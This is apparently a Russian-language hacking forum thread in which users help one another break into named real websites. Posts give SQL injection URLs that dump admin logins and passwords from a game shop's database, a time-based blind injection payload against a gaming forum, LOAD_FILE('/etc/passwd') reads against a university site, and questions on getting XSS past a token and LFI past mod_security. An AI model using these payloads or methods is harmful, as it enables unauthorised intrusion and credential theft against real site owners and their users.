никогда не останавливайся на скули которая не выводится,если есть рядом другая более удобная

http://www.gamepowerbazaar.com//stor...N+SELECT+1,2,3

вывод увидишь

пример:

http://www.gamepowerbazaar.com//sto...1,2,TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLE S

фильтруются скобки походу ()

p.s.

.SpoilerTarget" type="button">Spoiler: или так
p.s. можно havi' ем ,то есть подставляешь все данные как на рисунке:

http://i67.tinypic.com/23wk64l.jpg

то есть получаем вывод через error base sql injection

затем уже ручками выводим логины+ пассы

http://www.gamepowerbazaar.com//sto...adminName,adminPassword+FROM+admins+limit+0, 1

1й админ

http://www.gamepowerbazaar.com//sto...adminName,adminPassword+FROM+admins+limit+1, 1

2й админ

админку не искал ,да и странные пароли админов

а вообще это "commersus shop" .они уязвимы

вот почитай как пароли расшифровать

http://downloads.securityfocus.com/v...ce_mult_exp.pl

вот.

Есть форма с ХSS в поле регистрации , но также есть токен , который не позволяет скопировать форму и юзать ее с хостинга . В таком случае никак не получится воспользоватся уязвимостю ? Или можно post переделать в get как то ?

найдена дырка в http://www.gamers-forum.com/misc.php тип инъекции (post) воот с такими параметрами, vsa_send=Submit&amount=if(now()%3dsysdate()%2cslee p(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22X OR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&chooser=5&securitytoken=guest

пробовал через мап и хавидж, на большее пока меня не хватило, подскажите есликто знает, как с этим дальше бороться?

Из-за Mod_Security не могу достоверно проверить, есть ли LFI

тут _ttp://kor.dk/musik/vespa/getid3/getid3.php

Exploit: _ttps://www.exploit-db.com/exploits/36664/

Как отфильтровать сайты в burpsuite? отображать только домен и его поддомены не зависимо от https/http

http://joxi.ru/GrqMLEyHQN0GLr

http://gwps.org/36.0.html?&action=showDetails&showid=72

Как раскрутить? как слепая тоже не крутиться(

Таблица be_users колонка usename

Немогу данные выковырять

Всем привет. Стыдно конечно спрашивать но всё же век живи, век учись

1 -

2-

как прочитать файл

LOAD_FILE('/etc/passwd') вместо user()

1

http://www.naval.iitkgp.ernet.in/me...file('/etc/passwd'),3,4,5,6,7,8,9,10,11,12--+

или

http://www.naval.iitkgp.ernet.in/me...74632F706173737764),3,4,5,6,7,8,9,10,11,12--+

где 0x2F6574632F706173737764= hex(/etc/passwd)

2

нет доступа к mysql.user то есть нет возможности прочитать файл,несмотря на то что пользователь root, root'ом не является